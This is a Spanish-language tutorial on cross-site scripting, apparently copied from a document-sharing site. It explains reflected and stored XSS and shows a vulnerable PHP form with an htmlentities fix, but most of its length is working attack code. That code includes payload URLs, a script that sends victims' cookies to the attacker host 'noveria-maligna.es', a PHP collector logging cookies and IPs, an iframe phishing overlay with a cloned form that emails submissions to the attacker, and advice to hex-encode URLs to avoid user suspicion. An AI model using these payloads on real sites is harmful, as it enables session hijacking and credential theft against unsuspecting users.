Cross Site Scripting

Anuncio
Cross Site Scripting
Conceptos Básicos y Casos prácticos
Antonio González Castro
www.noveria.es | [email protected]
# Definición
Cross Site Scripting o también conocido como XSS por sus siglas en inglés, corresponde a una
vulnerabilidad que afecta tanto al usuario como a nivel aplicativo. La causa de la vulnerabilidad radica en
la validación de entradas HTML incrustadas, usando diversas técnicas para inyectar código de marcas
(HTML) o código ejecutable en la maquina cliente (Javascript, VBscript o Active X).
El impacto de este tipo de vulnerabilidades, significa que la entrada (URL previamente manipulada) no la
proporciona el mismo usuario, sino un atacante. Su finalidad persiste en la ejecución de la entrada por
parte del usuario, con el fin de conseguir diversos objetivos limitados tanto por la capacidad del lenguaje
inyectado, como del atacante.
# Clasificación
La clasificación de este tipo vulnerabilidad persiste en varias tesis, unos lo clasifican como ataques al
usuario y ataques al sistema, indirectos y directos, persistentes y no persistentes… Es este yo voy a
utilizar la siguiente categorización ya que personalmente creo que es la más correcta.
Cross Site Scripting Reflejado; es la más común, y no permite la inserción código directo. Sucede cuando
se envía un mensaje o ruta en una URL, una cookie o en la cabecera HTTP (pudiendo extenderse al DOM
del navegador).
Cross Site Scripting Almacenado; los datos son almacenados a través de una Base de Datos ó archivo.
La deficiente programación al filtrar las entradas, nos permite la ejecución de código directo.
# Escenarios de ataque
Estudiamos el siguiente código:
<form action="noveria.php" method="post">
<p>Tu vulnerabilidad favorita:</p>
<p><input type="radio" name="vulnerabilidad" value="XSS">XSS</p>
<p><input type="radio" name="vulnerabilidad" value="LFI">LFI</p>
<p><input type="radio" name="vulnerabilidad" value="RFI">RFI</p>
<input type="submit" name="Boton" value="Enviar">
</form>
Contenido del archivo noveria.php:
<?php
# Código del php Vulnerable
$Choice = $_REQUEST['vulnerabilidad'];
?>
<html>
<head></head>
<body>
<p>Su vulnerabilidad favorita es: <?php echo $Choice ?></p>
</body>
</html>
Podemos observar que noveria.php es vulnerable, debido a que la variable no está filtrada, para corregir
este error solo tenemos que filtrar la entrada, utilizando la función htmlentities. Al margen de esta,
tenemos más opciones como la función HTMLSpecialchars.
<?php
# Código del php Vulnerable
$Choice = htmlentities($_REQUEST['vulnerabilidad']);
?>
<html>
<head></head>
<body>
<p>Su vulnerabilidad favorita es: <?php echo $Choice ?></p>
</body>
</html>
La manera o forma de explotar la vulnerabilidad en este caso sería tan sencillo como ejecutar la
siguiente URL.
http://www.noveria.es/noveria.php?vulnerabilidad=<script>alert(666)</s
cript>
Este es el punto y hasta donde el 90% de atacantes llegan en su intento de ataque XSS, pero existen
muchas más técnicas y poderes secretos mucho más atractivos y útiles.
Como por ejemplo, usando Framesets podemos crear un loop infinito, afectando directamente sobre la
maquina local por parte del usuario.
Javascript:while(1)alert("loop infinito");
# Suplantación de identidad, robo de coockies
Obtención de datos, personalmente el ataque más importante que nos proporciona un cross site
scripting, depende en que escenario nos encontremos podemos robar una cookie en concreto, borrar
información de una Base de Datos y todo lo que el aplicativo y nuestros conocimientos nos permitan. En
este caso nos vamos a centrar en el robo de una cookie en concreto, ya que se puede explotar en varios
escenarios y afecta directamente contra la integridad del usuario llegándonos a permitir el acceso al
sistema, se podría plantear algunas dudas, si el usuario cierra sesión la cookie caduca, pero gracias a la
librería cURL, el atacante con la cookie activa en ese momento podría acceder al aplicativo, y dejarlo en
cache, en este caso se podría acceder en cualquier momento.
Procedemos a estudiar un caso práctico.
A través de cualquier medio enviamos la siguiente dirección (URL) al usuario que deseamos obtener su
cookie.
http://www.noveria.es/noveria.php?vulnerabilidad=<script src=
http://www.noveria-maligna.es/noveria.js></script>
Conociendo que noveria.js ejecuta un archivo php.
var ubicacion='http://www.noveria-maligna.es/noveria.php?cookie='
location.href=ubicacion+document.cookie
El archivo noveria.php almacena en un archivo .txt con la cookie del usuario y su IP, dicho archivo tiene
el siguiente aspecto.
<?php
$ip = $_SERVER['REMOTE_ADDR']; # Obtención de la IP del usuario
$cookie = $_GET['cookie']; # Obtención de la Cookie del usuario
$info = "Ip: " . $ip . "Cookie: " . $cookie . " ";
$archivo = fopen("cookie.txt",'a'); # Abrimos el archivo .txt
fwrite($archivo,$info); # Guardamos la información en el archivo .txt
fclose($archivo); # Cerramos el archivo
header("Location: http://www.noveria.es"); # Redireccionamos
?>
# Phishing
Una vulnerabilidad XSS nos permite realizar ataques de phishing utilizando como base el dominio
original de la aplicación. Para los más despistados, phishing es un ataque almacenado en el área de la
ingeniería social, caracterizado por adquirir información de forma fraudulenta.
En este caso vamos a seguir con el ejemplo anterior y vamos a conseguir que en nuestra encuesta, los
datos no lleguen a su destino, sino a uno especialmente manipulado.
Como ejemplo vamos a almacenar nuestra web manipulada en el dominio www.noveria-maligna.es, con
el siguiente script conseguimos modificar el titulo de la página para simular que nos encontramos en la
página original, además abre una ventana adicional dentro de la misma página, donde se carga el
archivo noveria.html. Este script lo ejecutaremos por medio del XSS.
document.title = "Encuesta noveria";
document.write("<iframe src=http://www.noveriamaligna.es/noveria.html frameborder=0 framespacing=0 scrolling=auto
border=0 marginheight=0 marginwidth=0 width=100% height=100% /> ");
Simplemente necesitamos hacer una copia exacta de la web original, y modificamos el form action
quedando de la siguiente manera:
<form action="noveria-maligna.php" method="post">
<p>Tu vulnerabilidad favorita:</p>
<p><input type="radio" name="vulnerabilidad" value="XSS">XSS</p>
<p><input type="radio" name="vulnerabilidad" value="LFI">LFI</p>
<p><input type="radio" name="vulnerabilidad" value="RFI">RFI</p>
<input type="submit" name="Boton" value="Enviar">
</form>
Añadimos el siguiente script al código.
<SCRIPT TYPE="text/javascript" LANGUAGE=JAVASCRIPT>
if (top.frames.length!=0){
top.frames.length=0;}
</SCRIPT>
De este modo cuando hagamos la petición al archivo noveria-maligna.js, la ventana ocupe el tamaño
completo del navegador.
Para finalizar nuestra web falsa, debemos crear el archivo noveria-maligna.php, este enviará un correo
electrónico con el resultado de la encuesta.
<?php
# Envio por correo resultado encuesta
if ($_POST['vulnerabilidad']){
$leeter = "[email protected]";
$vulnerabilidad = $_POST['vulnerabilidad'];
$asunto = "Phishing noveria maligna";
$from = "La vulnerabilidad favorita es: $vulnerabilidad";
mail($leeter, $asunto, $from);
}
# Redirección
header("Location: http://www.noveria.es");
?>
Por lo tanto la URL que vamos a utilizar y difundir para nuestro ataque de phishing es la siguiente:
http://www.noveria.es/noveria.php?vulnerabilidad=<script
src=http://www.noveria-maligna.es/noveria.js></script>
Si deseamos aumentar la capacidad de engaño de las URLs, solo debemos transformarlas a hexadecimal,
el resultado a nivel ejecución de las URLs es el mismo, diferenciándose en la ofuscación su contenido
para evitar cualquier tipo de sospechas ante él usuario.
Descargar